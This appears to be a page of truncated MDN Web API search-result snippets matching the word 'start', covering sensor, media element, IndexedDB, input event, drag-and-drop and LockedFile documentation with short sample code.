e sensor.onreading event callback. in the example below this occurs sixty times a second. let gyroscope = new gyroscope({frequency: 60}); gyroscope.addeventlistener('reading', e => { console.log("angular velocity along the x-axis " + gyroscope.x); console.log("angular velocity along the y-axis " + gyroscope.y); console.log("angular velocity along the z-axis " + gyroscope.z); }); gyroscope.
start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general. gyroscopethe definition of 'gyroscope' in that specification. candidate recommendation initial definition. ...
msAudioCategory - Web APIs
streaming radio streaming playlist music videos streaming audio/radio, youtube, netflix, etc. yes communications for streaming communication audio such as the following: voip real time chat or other type of phone calls should not be used in non-real-time or non-communication scenarios, such as audio and/or video playback, as playback
startup latency is affected. *note that if msaudiocategory is set to communications, msrealtime is automatically set to true. yes foregroundonlymedia games or other sounds designed only to work in the foreground, but will mute existing background media sounds. game audio needed for the game experience (dancing games, music games) feature films (designed to pause when...
HTMLAudioElement - Web APIs
properties no specific properties; inherits properties from its parent, htmlmediaelement, and from htmlelement. methods inherits methods from its parent, htmlmediaelement, and from htmlelement. it offers no methods of its own. obsolete mozilla-only methods the following methods are non-standard and should not be use...
HTMLBaseFontElement - Web APIs
in the first font face that the client's browser supports. if no font listed is installed on the local system, the browser typically defaults to the proportional or fixed-width font for that system. htmlbasefontelement.size is a domstring representing the font size as either a numeric or relative value. numeric values range from 1 to 7 with 1 being the smallest and 3 the default. relative value
starts with a '+' or a '-'. methods no specific method; inherits methods from its parent, htmlelement. specifications specification status comment document object model (dom) level 2 html specificationthe definition of 'htmlbasefontelement' in that specification. obsolete no change document object model (dom) level 1 specificationthe definition of 'htmlbasefo...
HTMLCanvasElement.toDataURL() - Web APIs
the htmlcanvaselement.todataurl() method returns a data uri containing a representation of the image in the format specified by the type parameter (defaults to png). the returned image is in a resolution of 96 dpi. if the height or width of the canvas is 0 or larger than the maximum canvas size, the string "data:," is returned. if the requested type is not image/png, but the returned value
starts with data:image/png, then the requested type is not supported. chrome also supports the image/webp type. syntax canvas.todataurl(type, encoderoptions); parameters type optional a domstring indicating the image format. the default format type is image/png. encoderoptions optional a number between 0 and 1 indicating the image quality to use for image formats that use lossy compression su...
HTMLElement: animationcancel event - Web APIs
from { transform: translatex(100%) scalex(3); } to { transform: translatex(0) scalex(1); } } js const animation = document.queryselector('p.animation'); const animationeventlog = document.queryselector('.animation-example>.event-log'); const applyanimation = document.queryselector('.animation-example>button.activate'); let iterationcount = 0; animation.addeventlistener('animation
start', () => { animationeventlog.textcontent = `${animationeventlog.textcontent}'animation
started' `; }); animation.addeventlistener('animationiteration', () => { iterationcount++; animationeventlog.textcontent = `${animationeventlog.textcontent}'animation iterations: ${iterationcount}' `; }); animation.addeventlistener('animationend', () => { animationeventlog.textcontent = `${animationeve...
HTMLElement: animationend event - Web APIs
{ from { margin-left: 100%; width: 300%; } to { margin-left: 0%; width: 100%; } } js const animation = document.queryselector('p.animation'); const animationeventlog = document.queryselector('.animation-example>.event-log'); const applyanimation = document.queryselector('.animation-example>button.activate'); let iterationcount = 0; animation.addeventlistener('animation
start', () => { animationeventlog.textcontent = `${animationeventlog.textcontent}'animation
started' `; }); animation.addeventlistener('animationiteration', () => { iterationcount++; animationeventlog.textcontent = `${animationeventlog.textcontent}'animation iterations: ${iterationcount}' `; }); animation.addeventlistener('animationend', () => { animationeventlog.textcontent = `${animationeve...
HTMLElement: animationiteration event - Web APIs
from { transform: translatex(100%) scalex(3); } to { transform: translatex(0) scalex(1); } } js const animation = document.queryselector('p.animation'); const animationeventlog = document.queryselector('.animation-example>.event-log'); const applyanimation = document.queryselector('.animation-example>button.activate'); let iterationcount = 0; animation.addeventlistener('animation
start', () => { animationeventlog.textcontent = `${animationeventlog.textcontent}'animation
started' `; }); animation.addeventlistener('animationiteration', () => { iterationcount++; animationeventlog.textcontent = `${animationeventlog.textcontent}'animation iterations: ${iterationcount}' `; }); animation.addeventlistener('animationend', () => { animationeventlog.textcontent = `${animationeve...
HTMLElement: pointercancel event - Web APIs
rcancel some examples of situations that will trigger a pointercancel event: a hardware event occurs that cancels the pointer activities. this may include, for example, the user switching applications using an application switcher interface or the "home" button on a mobile device. the device's screen orientation is changed while the pointer is active. the browser decides that the user
started pointer input accidentally. this can happen if, for example, the hardware supports palm rejection to prevent a hand resting on the display while using a stylus from accidentally triggering events. the touch-action css property prevents the input from continuing. after the pointercancel event is fired, the browser will also send pointerout followed by pointerleave. examples using addevent...
HTMLImageElement.alt - Web APIs
ial to the concept shown in the html above, but you may expand the view below if you wish to read the css used. view the css editors: if you change the css below, please be sure to close the details box using the toggle at the top of the css view before saving. otherwise, readers will find it open by default, which is not the intent here. ...
HTMLImageElement.border - Web APIs
. a value of 0, the default, indicates that no border should be drawn. you should not use this property! instead, you should use css to style the border. the border property or its longhand properties to not only set the thickness of the border but to potentially apply a wide variety of other styling options to it. the width, specifically, is controlled using the writing-mode aware border-block-
start-width, border-block-end-width, border-inline-
start-width, and border-inline-end-width properties. for compatibility (or perhaps other) reasons, you can use the older properties instead (or in addition): border-top-width, border-right-width, border-bottom-width, and border-left-width. syntax htmlimageelement.border = thickness; let thickness = htmlimageelement.border; value a domstring conta...
HTMLImageElement.complete - Web APIs
reject; elem.src = url; }); } async function lightbox(url) { lightboxelem.style.display = "block"; await loadimage("https://somesite.net/huge-image.jpg", lightboximgelem); lightboxcontrolselem.disabled = false; } /* ... */ function fixredeyecommand() { if (lightboxelem.style.display === "block" && lightboximgelem.complete) { fixredeye(lightboximgelem); } else { /* can't
start doing this until the image is fully loaded */ } } specifications specification status comment html living standardthe definition of 'htmlimageelement.complete' in that specification. unknown browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://...
HTMLMarqueeElement - Web APIs
htmlmarqueeelement.onbounce fires when the marquee has reached the end of its scroll position. it can only fire when the behavior attribute is set to alternate. htmlmarqueeelement.onfinish fires when the marquee has finished the amount of scrolling that is set by the loop attribute. it can only fire when the loop attribute is set to some number that is greater than 0. htmlmarqueeelement.on
start fires when the marquee
starts scrolling. methods inherits methods from its parent, htmlelement. htmlmarqueeelement.
start()
starts scrolling of the marquee. htmlmarqueeelement.stop() stops scrolling of the marquee. examples <marquee>this text will scroll from right to left</marquee> <marquee direction="up">this text will scroll from bottom to top</marquee> <marquee direction="down" ...
HTMLMediaElement.autoplay - Web APIs
ar autoplay = htmlmediaelement.autoplay; value a boolean whose value is true if the media element will begin playback as soon as enough content has loaded to allow it to do so without interruption. note: some browsers offer users the ability to override autoplay in order to prevent disruptive audio or video from playing without permission or in the background. do not rely on autoplay actually
starting playback and instead use play event. examples ... <video id="video" controls> <source src="https://player.vimeo.com/external/250688977.sd.mp4?s=d14b1f1a971dde13c79d6e436b88a6a928dfe26b&profile_id=165"> </video> *** disable autoplay (recommended) *** false is the default value document.queryselector('#video').autoplay = false; specifications specification st...
HTMLMediaElement: canplay event - Web APIs
roperty globaleventhandlers.oncanplay specification html5 media examples these examples add an event listener for the htmlmediaelement's canplay event, then post a message when that event handler has reacted to the event firing. using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('canplay', (event) => { console.log('video can
start, but not sure it will play through.'); }); using the oncanplay event handler property: const video = document.queryselector('video'); video.oncanplay = (event) => { console.log('video can
start, but not sure it will play through.'); }; specifications specification status html living standardthe definition of 'canplay media event' in that specification. living standa...
HTMLMediaElement.captureStream() - Web APIs
a element. this can be used, for example, as a source for a webrtc rtcpeerconnection. syntax var mediastream = mediaelement.capturestream() parameters none. return value a mediastream object which can be used as a source for audio and/or video data by other media processing code, or as a source for webrtc. example in this example, an event handler is established so that clicking a button
starts capturing the contents of a media element with the id "playback" into a mediastream. the stream can then be used for other purposes—like a source for streaming over webrtc, to allow sharing prerecorded videos with another person during a video call. document.queryselector('.playandrecord').addeventlistener('click', function() { var playbackelement = document.getelementbyid("playback"); va...
HTMLMediaElement.load() - Web APIs
media, that load process is aborted and the abort event is sent. if the element has already been initialized with media, the emptied event is sent. if resetting the playback position to the beginning of the media actually changes the playback position (that is, it was not already at the beginning), a timeupdate event is sent. once media has been selected and loading is ready to begin, the load
start event is delivered. from this point onward, events are sent just like any media load. example this example finds a <video> element in the document and resets it by calling load(). var mediaelem = document.queryselector("video"); mediaelem.load(); specifications specification status comment html living standardthe definition of 'htmlmediaelement.load()' in that spec...
HTMLMediaElement.loop - Web APIs
syntax var loop = video.loop; audio.loop = true; value a boolean. example var obj = document.createelement('video'); obj.loop = true; // true specifications specification status comment html living standardthe definition of 'htmlmediaelement.loop' in that specification. ...
HTMLMediaElement: playing event - Web APIs
bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onplaying specification html5 media examples these examples add an event listener for the htmlmediaelement's playing event, then post a message when that event handler has reacted to the event firing. ...
HTMLMediaElement: progress event - Web APIs
event-log { grid-area: log; } .event-log>label { display: block; } javascript const loadvideo = document.queryselector('button'); const video = document.queryselector('video'); const eventlog = document.queryselector('.event-log-contents'); let source = null; function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}\n`; } video.addeventlistener('load
start', handleevent); video.addeventlistener('progress', handleevent); video.addeventlistener('canplay', handleevent); video.addeventlistener('canplaythrough', handleevent); loadvideo.addeventlistener('click', () => { if (source) { document.location.reload(); } else { loadvideo.textcontent = "reset example"; source = document.createelement('source'); source.set...
HTMLMediaElement.seekable - Web APIs
ns the time ranges that the user is able to seek to, if any. syntax var seekable = audioorvideo.seekable; value a timeranges object. examples var video = document.queryselector("video"); var timerangesobject = video.seekable; var timeranges = []; //go through the object and output an array for (let count = 0; count < timerangesobject.length; count ++) { timeranges.push([timerangesobject.
start(count), timerangesobject.end(count)]); } specifications specification status comment html living standardthe definition of 'htmlmediaelement' in that specification. living standard no change from html5 html5the definition of 'htmlmediaelement' in that specification. recommendation initial definition. media source extensionsthe definition ...
HTMLMediaElement: seeking event - Web APIs
bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onseeking specification html5 media examples these examples add an event listener for the htmlmediaelement's seeking event, then post a message when that event handler has reacted to the event firing. ...
HTMLMediaElement.textTracks - Web APIs
hanges to a media element's track list. syntax var texttracks = mediaelement.texttracks; value a texttracklist object representing the list of text tracks included in the media element. the list of tracks can be accessed using array notation, or using the object's gettrackbyid() method. each track is represented by a texttrack object which provides information about the track. ...
HTMLOListElement - Web APIs
" text-anchor="middle" alignment-baseline="middle">htmlolistelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmlolistelement.reversed is a boolean value reflecting the reversed and defining if the numbering is descending, that is its value is true, or ascending (false). htmlolistelement.
start is a long value reflecting the
start and defining the value of the first number of the first element of the list. htmlolistelement.type is a domstring value reflecting the type and defining the kind of marker to be used to display. it can have the following values: '1' meaning that decimal numbers are used: 1, 2, 3, 4, 5, … 'a' meaning that the lowercase latin alphabet is used: a, b, ...
HTMLScriptElement - Web APIs
ute, so legacy browsers that only support defer (and not async) fall back to the defer behavior instead of the default blocking behavior. note: the exact processing details for these attributes are complex, involving many different aspects of html, and therefore are scattered throughout the specification. these algorithms describe the core ideas, but they rely on the parsing rules for <script>
start and end tags in html, in foreign content, and in xml; the rules for the document.write() method; the handling of scripting; and so on. htmlscriptelement.crossorigin is a domstring reflecting the cors setting for the script element. for scripts from other origins, this controls if error information will be exposed. htmlscriptelement.text is a domstring that joins and returns the content...
HTMLTrackElement - Web APIs
a handler for this event. usage notes loading of the track's text resource the webvtt or ttml data describing the actual cues for the text track isn't loaded if the track's mode is initially in the disabled state. if you need to be able to perform any processing on the track after the <track> is set up, you should instead ensure that the track's mode is either hidden (if you don't want it to
start out being presented to the user) or showing (to initially display the track). you can then change the mode as desired later. specifications specification status comment html living standardthe definition of 'htmltrackelement' in that specification. living standard html5the definition of 'htmltrackelement' in that specification. recommendation initia...
HTMLVideoElement.videoHeight - Web APIs
ideoelement.videoheight; value an integer value specifying the intrinsic height of the video in css pixels. if the element's readystate is htmlmediaelement.have_nothing, then the value of this property is 0, because neither video nor poster frame size information is yet available. about intrinsic width and height a user agent calculates the intrinsic width and height of the element's media by
starting with the media's raw pixel width and height, then taking into account factors including: the media's aspect ratio. the media's clean aperture (the sub-rectangle centered within the media that matches the target aspect ratio). the target device's resolution. any other factors required by the media format. if the element is currently displaying the poster frame rather than rendered video...
HTMLVideoElement.videoWidth - Web APIs
lvideoelement.videowidth; value an integer value specifying the intrinsic width of the video in css pixels. if the element's readystate is htmlmediaelement.have_nothing, then the value of this property is 0, because neither video nor poster frame size information is yet available. about intrinsic width and height a user agent calculates the intrinsic width and height of the element's media by
starting with the media's raw pixel width and height, then taking into account factors including: the media's aspect ratio. the media's clean aperture (the sub-rectangle centered within the media that matches the target aspect ratio). the target device's resolution. any other factors required by the media format. if the element is currently displaying the poster frame rather than rendered video...
File drag and drop - Web APIs
="drophandler(event);" ondragover="dragoverhandler(event);"> <p>drag one or more files to this drop zone ...</p> </div> lastly, an application may want to style the drop target element to visually indicate the element is a drop zone. in this example, the drop target element uses the following styling: #drop_zone { border: 5px solid blue; width: 200px; height: 100px; } note that drag
start and dragend events are not fired when dragging a file into the browser from the os. process the drop the drop event is fired when the user drops the file(s). in the following drop handler, if the browser supports datatransferitemlist interface, the getasfile() method is used to access each file; otherwise the datatransfer interface's files property is used to access each file. this example sh...
Recommended Drag Types - Web APIs
method is used for non-textual data. as some contexts may only include some of these types, it is important to check which type is made available when receiving dropped images. dragging nodes nodes and elements in a document may be dragged using the application/x-moz-node type. the data for the type should be a dom node. this allows the drop target to receive the actual node where the drag was
started from. note that callers from a different domain will not be able to access the node even when it has been dropped. you should always include a text/plain alternative for the node. dragging custom data you can also use other types that you invent for custom purposes. strive to always include a text/plain alternative, unless the dragged object is specific to a particular site or application. i...
IDBCursor.direction - Web APIs
e). see the values section below for possible values. note: this feature is available in web workers. syntax var direction = cursor.direction; value a string (defined by the idbcursordirection enum) indicating the direction in which the cursor is traversing the data. possible values are: value description next this direction causes the cursor to be opened at the
start of the source. nextunique this direction causes the cursor to be opened at the
start of the source. for every key with duplicate values, only the first record is yielded. prev this direction causes the cursor to be opened at the end of the source. prevunique this direction causes the cursor to be opened at the end of the source. for every key with duplicate val...
IDBRequest.readyState - Web APIs
the state changes to done when the request completes successfully or when an error occurs. note: this feature is available in web workers. syntax var currentreadystate = request.readystate; value the idbrequestreadystate of the request, which takes one of the following two values: value meaning pending the request is pending. done the request is done. ...
IDBRequest - Web APIs
only returns the result of the request. if the the request failed and the result is not available, an invalidstateerror exception is thrown. idbrequest.source read only the source of the request, such as an idbindex or an idbobjectstore. if no source exists (such as when calling idbfactory.open), it returns null. idbrequest.readystate read only the state of the request. every request
starts in the pending state. the state changes to done when the request completes successfully or when an error occurs. idbrequest.transaction read only the transaction for the request. this property can be null for certain requests, for example those returned from idbfactory.open unless an upgrade is needed. (you're just connecting to a database, so there is no transaction to return). methods no...
IDBTransaction.commit() - Web APIs
the commit() method of the idbtransaction interface commits the transaction if it is called on an active transaction. note that commit() doesn't normally have to be called — a transaction will automatically commit when all outstanding requests have been satisfied and no new requests have been made. commit() can be used to
start the commit process without waiting for events from outstanding requests to be dispatched. if it is called on a transaction that is not active, it throws an invalidstateerror domexception. note: this feature is available in web workers. syntax transaction.commit(); parameters none. return value void. exceptions exception description invalidstateerror the transaction state is not active. examples // open a read/write db tra...
IDBTransaction.mode - Web APIs
stores: value explanation readonly allows data to be read but not changed. readwrite allows reading and writing of data in existing data stores to be changed. versionchange allows any operation to be performed, including ones that delete and create object stores and indexes. this mode is for updating the version number of transactions that were
started using idbdatabase.setversion(). transactions of this mode cannot run concurrently with other transactions. transactions in this mode are known as "upgrade transactions." example in the following code snippet, we open a read/write transaction on our database and add some data to an object store. note also the functions attached to transaction event handlers to report on the outcome of th...
ImageCapture - Web APIs
a promise that resolves with a photosettings object containing the current photo configuration settings. imagecapture.grabframe() takes a snapshot of the live video in a mediastreamtrack, returning an imagebitmap, if successful. example the following code is taken from chrome's grab frame - take photo sample. since imagecapture requires some place to capture an image from, the example below
starts with a device's media device (in other words a camera). this example shows, roughly, a mediastreamtrack extracted from a device's mediastream. the track is then used to create an imagecapture object so that takephoto() and grabframe() can be called. finally, it shows how to apply the results of these calls to a canvas object. var imagecapture; function ongetusermediabuttonclick() { navigato...
Checking when a deadline is due - Web APIs
? 04, 4, april, apr? 2013, '13, 13?), i decided the best solution was to give them a choice to pick from, which also saves on annoying typing for mobile users. the days are recorded as numerical days of the month, the months are recorded as full month names, and the years are recorded as full four digit year numbers. when the form's submit button is pressed, we run the adddata() function, which
starts like this: function adddata(e) { e.preventdefault(); if(title.value == '' || hours.value == null || minutes.value == null || day.value == '' || month.value == '' || year.value == null) { note.innerhtml += '<li>data not submitted — form incomplete.</li>'; return; } in this segment, we check to see if the form fields have all been filled in. if not, we drop a message into our d...
InputDeviceCapabilities API - Web APIs
ce or type of device fired an event. this can lead to instances where the same action triggers multiple event handlers. to deal with this, developers make assumptions and use heuristics to normalize behavior on web pages. the inputdevicecapabilities api addresses this problem by abstracting the capabilities of input devices. for example, let's say we have a web page that implements both a touch
start and a mousedown event. we can assume that if the touch
start event is triggered that the user's device has a touch interface. what about when the mousedown event is triggered? it would be useful to know if a touch
start event were also triggered so that we don't take the same action twice. we can do this by checking the sourcecapabilities property of the uievent. mybutton.addeventlistener('moused...
InputEvent() - Web APIs
insert. this may be an empty string if the change doesn't insert text (such as when deleting characters, for example). datatransfer: (optional) a datatransfer object containing information about richtext or plaintext data being added to or removed from editible content. iscomposing: (optional) a boolean indicating that the event is part of a composition session, meaning it is after a composition
start event but before a compositionend event. the default is false. ranges: (optional) an array of static ranges that will be affected by a change to the dom if the input event is not canceled. the inputeventinit dictionary also accepts fields from uieventinit and from eventinit dictionaries. ...
InputEvent.isComposing - Web APIs
the inputevent.iscomposing read-only property returns a boolean value indicating if the event is fired after composition
start and before compositionend. syntax var bool = event.iscomposing; example var inputevent = new inputevent('syntheticinput', false); console.log(inputevent.iscomposing); // return false specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'inputevent.iscomposing' in that specification. obsolete initial definition. ...
InputEvent - Web APIs
mation about richtext or plaintext data being added to or removed from editable content. inputevent.inputtyperead only returns the type of change for editable content such as, for example, inserting, deleting, or formatting text. see the property page for a complete list of input types. inputevent.iscomposingread only returns a boolean value indicating if the event is fired after composition
start and before compositionend. methods this interface inherits methods from its parents, uievent and event. inputevent.gettargetranges() returns an array of static ranges that will be affected by a change to the dom if the input event is not canceled. specifications specification status comment input events level 2the definition of 'inputevent' in that specificat...
install - Web APIs
an be passed to the install() method. the { } constructor takes a comma-delimited set of label/value pairs. for installations, these pairs are the xpinstall confirm dialog display name and the path of the xpi, respectively. in the example below, a single installation object is created, but you can use this approach to create multiple installations to pass to a single install. as with the older
startsoftwareupdate method, xpis installed with this method must have their own install.js files in which the full installation is defined. in contrast to
startsoftwareupdate, install allows you to do multiple installs with the same trigger and provides a unified user experience for the multiple installs. example function xpinstallcallback(url, status) { if (status == 0) msg = "xpinstall test: ...
InstallTrigger - Web APIs
this client machine. getversion returns an object representing the version number from the client version registry for the specified component. it is used in both trigger scripts and installation scripts. install installs one or more xpi files on the local machine. installchrome installs new skin or locale packages in netscape 6 and mozilla.
startsoftwareupdate triggers the downloading and installation of the software at the specified url. ...
IntersectionObserver - Web APIs
ersectionobserver.unobserve() tells the intersectionobserver to stop observing a particular target element. examples var intersectionobserver = new intersectionobserver(function(entries) { // if intersectionratio is 0, the target is out of view // and we do not need to do anything. if (entries[0].intersectionratio <= 0) return; loaditems(10); console.log('loaded new items'); }); //
start observing intersectionobserver.observe(document.queryselector('.scrollerfooter')); specifications specification status comment intersection observerthe definition of 'intersectionobserver' in that specification. working draft ...
KeyboardEvent.isComposing - Web APIs
syntax var bool = event.iscomposing; example var kbdevent = new keyboardevent("synthetickey", false); console.log(kbdevent.iscomposing); // return false specifications specification status comment ui eventsthe definition of 'keyboardevent.prototype.iscomposing' in that specification. ...
KeyboardEvent.location - Web APIs
virtual keyboard. note: gecko always returns dom_key_location_mobile on android (prior to 18) and maemo. however, at gecko 38, this is dropped. dom_key_location_joystick obsolete since gecko 38 5 the key was a button on a game controller or a joystick on a mobile device. note: gecko never fires trusted key events with dom_key_location_joystick except on android.
starting 18, native key events on android may have this value. however, at gecko 38, this is dropped. syntax var location = event.location; example function keyevent(event) { console.log("location of key pressed: " + event.location); } specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboa...
KeyboardEvent - Web APIs
ch would mean the user expects a "z" and all the other properties would indicate a "z") or a dvorak keyboard layout (where the user would expect an "f"). keyboardevent.ctrlkey read only returns a boolean that is true if the ctrl key was active when the key event was generated. keyboardevent.iscomposing read only returns a boolean that is true if the event is fired between after composition
start and before compositionend. keyboardevent.key read only returns a domstring representing the key value of the key represented by the event. keyboardevent.locale read only returns a domstring representing a locale string indicating the locale the keyboard is configured for. this may be the empty string if the browser or device doesn't know the keyboard's locale. note: this does not describe ...
KeyframeEffect.getKeyframes() - Web APIs
ffsets. syntax var keyframes = keyframeeffect.getkeyframes(); parameters none. return value returns a sequence of objects with the following format: property value pairs as many property value pairs as are contained in each keyframe of the animation. offset the offset of the keyframe specified as a number between 0.0 and 1.0 inclusive or null. this is equivalent to specifying
start and end states in percentages in css stylesheets using @keyframes. this will be null if the keyframe is automatically spaced using keyframeeffect.spacing. computedoffset the computed offset for this keyframe, calculated when the list of computed keyframes was produced according to keyframeeffect.spacing. unlike offset, above, the computedoffset is never null. easing the timing functio...
KeyframeEffect.setKeyframes() - Web APIs
ence here, this will have no effect on animation since "float" is not an animatable css property. offset, which must be written as cssoffset since "offset" represents the keyframe offset as described below. the following special attributes may also be specified: offset the offset of the keyframe specified as a number between 0.0 and 1.0 inclusive or null. this is equivalent to specifying
start and end states in percentages in css stylesheets using @keyframes. if this value is null or missing, the keyframe will be evenly spaced between adjacent keyframes. easing the timing function used from this keyframe until the next keyframe in the series. composite the keyframeeffect.composite operation used to combine the values specified in this keyframe with the underlying value. thi...
LinearAccelerationSensor.x - Web APIs
event callback. in the example below this occurs sixty times a second. let lasensor = new linearaccelerationsensor({frequency: 60}); lasensor.addeventlistener('reading', e => { console.log("linear acceleration along the x-axis " + lasensor.x); console.log("linear acceleration along the y-axis " + lasensor.y); console.log("linear acceleration along the z-axis " + lasensor.z); }); lasensor.
start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general. accelerometerthe definition of 'x' in that specification. candidate recommendation ...
LinearAccelerationSensor.y - Web APIs
event callback. in the example below this occurs sixty times a second. let lasensor = new linearaccelerationsensor({frequency: 60}); lasensor.addeventlistener('reading', e => { console.log("linear acceleration along the x-axis " + lasensor.x); console.log("linear acceleration along the y-axis " + lasensor.y); console.log("linear acceleration along the z-axis " + lasensor.z); }); lasensor.
start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general. accelerometerthe definition of 'y' in that specification. candidate recommendation ...
LinearAccelerationSensor.z - Web APIs
event callback. in the example below this occurs sixty times a second. let lasensor = new linearaccelerationsensor({frequency: 60}); lasensor.addeventlistener('reading', e => { console.log("linear acceleration along the x-axis " + lasensor.x); console.log("linear acceleration along the y-axis " + lasensor.y); console.log("linear acceleration along the z-axis " + lasensor.z); }); lasensor.
start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general. accelerometerthe definition of 'z' in that specification. candidate recommendation ...
LinearAccelerationSensor - Web APIs
event callback. in the example below this occurs sixty times a second. let lasensor = new linearaccelerationsensor({frequency: 60}); lasensor.addeventlistener('reading', e => { console.log("linear acceleration along the x-axis " + lasensor.x); console.log("linear acceleration along the y-axis " + lasensor.y); console.log("linear acceleration along the z-axis " + lasensor.z); }); lasensor.
start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general. accelerometerthe definition of 'linearaccelerationsensor' in that specification. candidate recommendation ...
LockedFile.location - Web APIs
use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. summary the location property is a zero-based index representing the position of the read/write pointer within the file. its value indicates at which bytes within the file any write or read operation will
start. this value is changed automatically after every read and write operation. the special value null means end-of-file. this property can be changed at will. syntax var location = instanceoflockedfile.location value a number. specifications specification status comment filesystem api editor's draft draft proposal. ...
LockedFile.readAsArrayBuffer() - Web APIs
eb: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. summary the readasarraybuffer method is used to read the content of the lockedfile object and provide the result of that reading as an arraybuffer. in many ways, it performs like the filereader.readasarraybuffer() method. the reading operation
starts at the position given by the lockedfile.location property. syntax var request = instanceoflockedfile.readasarraybuffer(size); parameters size a number representing the number of bytes to read in the file. return a filerequest object to handle the success or failure of the operation. in case of success, the request's result is an arraybuffer representing the data that have been read. s...
LockedFile.readAsText() - Web APIs
n sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. summary the readastext method is used to read the content of the lockedfile object and provide the result of that reading as a string. in many ways, it performs like the filereader.readastext() method. the reading operation
starts at the position given by the lockedfile.location property. syntax var request = instanceoflockedfile.readastext(size[, encoding]); parameters size a number representing the number of bytes to read in the file. encoding optional a string indicating the encoding to use for the returned data. by default, utf-8 is assumed if this parameter is not specified. return a filerequest object to...
LockedFile.truncate() - Web APIs
non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. summary the truncate method is used to remove some data within the file. if the method is called with no argument, the operation removes all the bytes
starting at the index set in lockedfile.location. if the method is called with an argument, the operation removes all the bytes
starting at the index corresponding to the parameter and regardless of the value of lockedfile.location. syntax var request = instanceoflockedfile.truncate(
start); parameters
start optional a number representing the index where to
start the operation. return a filer...
LockedFile.write() - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. summary the write method is used to write some data within the file. the write
starts at the position set in lockedfile.location and moves that position by the number of written bytes. syntax var request = instanceoflockedfile.write(data); parameters data the data to write into the file. it can be a string or an arraybuffer. return a filerequest object to handle the success or failure of the operation. specifications specification status comment filesystem api e...
LockedFile - Web APIs
the file metadata (size and date of the last modification). returns a filerequest. lockedfile.readasarraybuffer() allows to retrieve a part of the content of the file as an arraybuffer. returns a filerequest object. lockedfile.readastext() allows to retrieve a part of the content of the file as a string. returns a filerequest object. lockedfile.write() allows to write some data in the file
starting at the location offset. returns a filerequest object. lockedfile.append() allows to write some data at the end of the file. returns a filerequest object. lockedfile.truncate() allows to truncate the file's content. returns a filerequest object. lockedfile.flush() allows to guarantee that any buffered data has been transferred to disk. lockedfile.abort() makes the lockedfile inactive an...
Magnetometer.x - Web APIs
the sensor.onreading event callback. in the example below this occurs sixty times a second. let magsensor = new magnetometer({frequency: 60}); magsensor.addeventlistener('reading', e => { console.log("magnetic field along the x-axis " + magsensor.x); console.log("magnetic field along the y-axis " + magsensor.y); console.log("magnetic field along the z-axis " + magsensor.z); }); magsensor.
start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general. magnetometerthe definition of 'x' in that specification. candidate recommendation ...
Magnetometer.y - Web APIs
the sensor.onreading event callback. in the example below this occurs sixty times a second. let magsensor = new magnetometer({frequency: 60}); magsensor.addeventlistener('reading', e => { console.log("magnetic field along the x-axis " + magsensor.x); console.log("magnetic field along the y-axis " + magsensor.y); console.log("magnetic field along the z-axis " + magsensor.z); }); magsensor.
start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general. magnetometerthe definition of 'y' in that specification. candidate recommendation ...
Magnetometer.z - Web APIs
the sensor.onreading event callback. in the example below this occurs sixty times a second. let magsensor = new magnetometer({frequency: 60}); magsensor.addeventlistener('reading', e => { console.log("magnetic field along the x-axis " + magsensor.x); console.log("magnetic field along the y-axis " + magsensor.y); console.log("magnetic field along the z-axis " + magsensor.z); }); magsensor.
start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general. magnetometerthe definition of 'z' in that specification. candidate recommendation ...
Magnetometer - Web APIs
the sensor.onreading event callback. in the example below this occurs sixty times a second. let magsensor = new magnetometer({frequency: 60}); magsensor.addeventlistener('reading', e => { console.log("magnetic field along the x-axis " + magsensor.x); console.log("magnetic field along the y-axis " + magsensor.y); console.log("magnetic field along the z-axis " + magsensor.z); }); magsensor.
start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general. magnetometerthe definition of 'magnetometer' in that specification. candidate recommendation ...
MediaDeviceInfo.groupId - Web APIs
fo => { let devlist = []; navigator.mediadevices.enumeratedevices() .then(devices => { devices.foreach(device => { if (device.groupid === maindevinfo.groupid) { devlist.push(device); } }); }); return devlist; }; the getdevicegroup() function takes as input the mediadeviceinfo object describing the device for which a group list is to be built. the function
starts by initializing the result array, devlist, to be an empty array. then navigator.mediadevices.enumeratedevices() is called to get the list of all media devices. once the promise resolves, we walk the list using foreach(). for each device, if its groupid matches the main device's groupid, we push the mediadeviceinfo object onto the list. finally, the list, which now contains a mediadeviceinfo ob...
MediaDeviceInfo.label - Web APIs
escribing this device (for example "external usb webcam"). only available during active mediastream use, or when persistent permissions have been granted. syntax var label = mediadeviceinfo.label; value a domstring which describes the media device. for security reasons, the label is always an empty string ("") if the user has not obtained permission to use at least one media device, either by
starting a stream from the microphone or camera, or by persistent permissions being granted. specifications specification status comment media capture and streamsthe definition of 'label' in that specification. candidate recommendation initial definition. ...
expiration - Web APIs
the mediakeysession.expiration read-only property returns the time after which the keys in the current session can no longer be used to decrypt media data, or nan if no such time exists. this value is determined by the cdm and measured in milliseconds since january 1, 1970, utc. this value may change during a session lifetime, such as when an action triggers the
start of a window. syntax var expirationtime = mediakeysessionobj.expiration; specifications specification status comment encrypted media extensionsthe definition of 'expiration' in that specification. recommendation initial definition ...
MediaKeySession - Web APIs
